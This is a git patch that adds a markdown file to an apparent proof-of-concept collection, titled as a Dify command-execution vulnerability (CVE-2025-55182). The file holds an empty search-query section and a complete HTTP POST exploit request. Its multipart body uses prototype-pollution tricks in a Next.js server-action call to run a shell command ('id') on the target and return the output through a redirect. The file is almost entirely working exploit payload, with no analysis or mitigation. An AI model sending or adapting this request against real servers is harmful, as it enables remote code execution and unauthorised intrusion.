From bcaab67185a6c20b8b323f734d286fa22f873b16 Mon Sep 17 00:00:00 2001
From: Rainyseason <73454853+Rainyseason-c@users.noreply.github.com>
Date: Thu, 11 Dec 2025 15:01:53 +0800
Subject: [PATCH] =?UTF-8?q?Create=20Dify=E7=B3=BB=E7=BB=9F=E5=91=BD?=
 =?UTF-8?q?=E4=BB=A4=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E(CVE-2025-55182).m?=
 =?UTF-8?q?d?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...��统命令执行漏洞(CVE-2025-55182).md | 32 +++++++++++++++++++
 1 file changed, 32 insertions(+)
 create mode 100644 wpoc/dify系统/Dify系统命令执行漏洞(CVE-2025-55182).md

diff --git a/wpoc/dify系统/Dify系统命令执行漏洞(CVE-2025-55182).md b/wpoc/dify系统/Dify系统命令执行漏洞(CVE-2025-55182).md
new file mode 100644
index 0000000..179ae85
--- /dev/null
+++ b/wpoc/dify系统/Dify系统命令执行漏洞(CVE-2025-55182).md
@@ -0,0 +1,32 @@
+## Dify系统命令执行漏洞(CVE-2025-55182)
+
+## fofa
+```
+
+```
+
+## poc
+```
+POST /apps HTTP/1.1
+Host: 192.168.11.116
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
+Next-Action: x
+X-Nextjs-Request-Id: b5dce965
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
+X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
+Content-Length: 689
+
+------WebKitFormBoundaryx8jO2oVc6SWP3Sad
+Content-Disposition: form-data; name="0"
+
+{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
+------WebKitFormBoundaryx8jO2oVc6SWP3Sad
+Content-Disposition: form-data; name="1"
+
+"$@0"
+------WebKitFormBoundaryx8jO2oVc6SWP3Sad
+Content-Disposition: form-data; name="2"
+
+[]
+------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
+```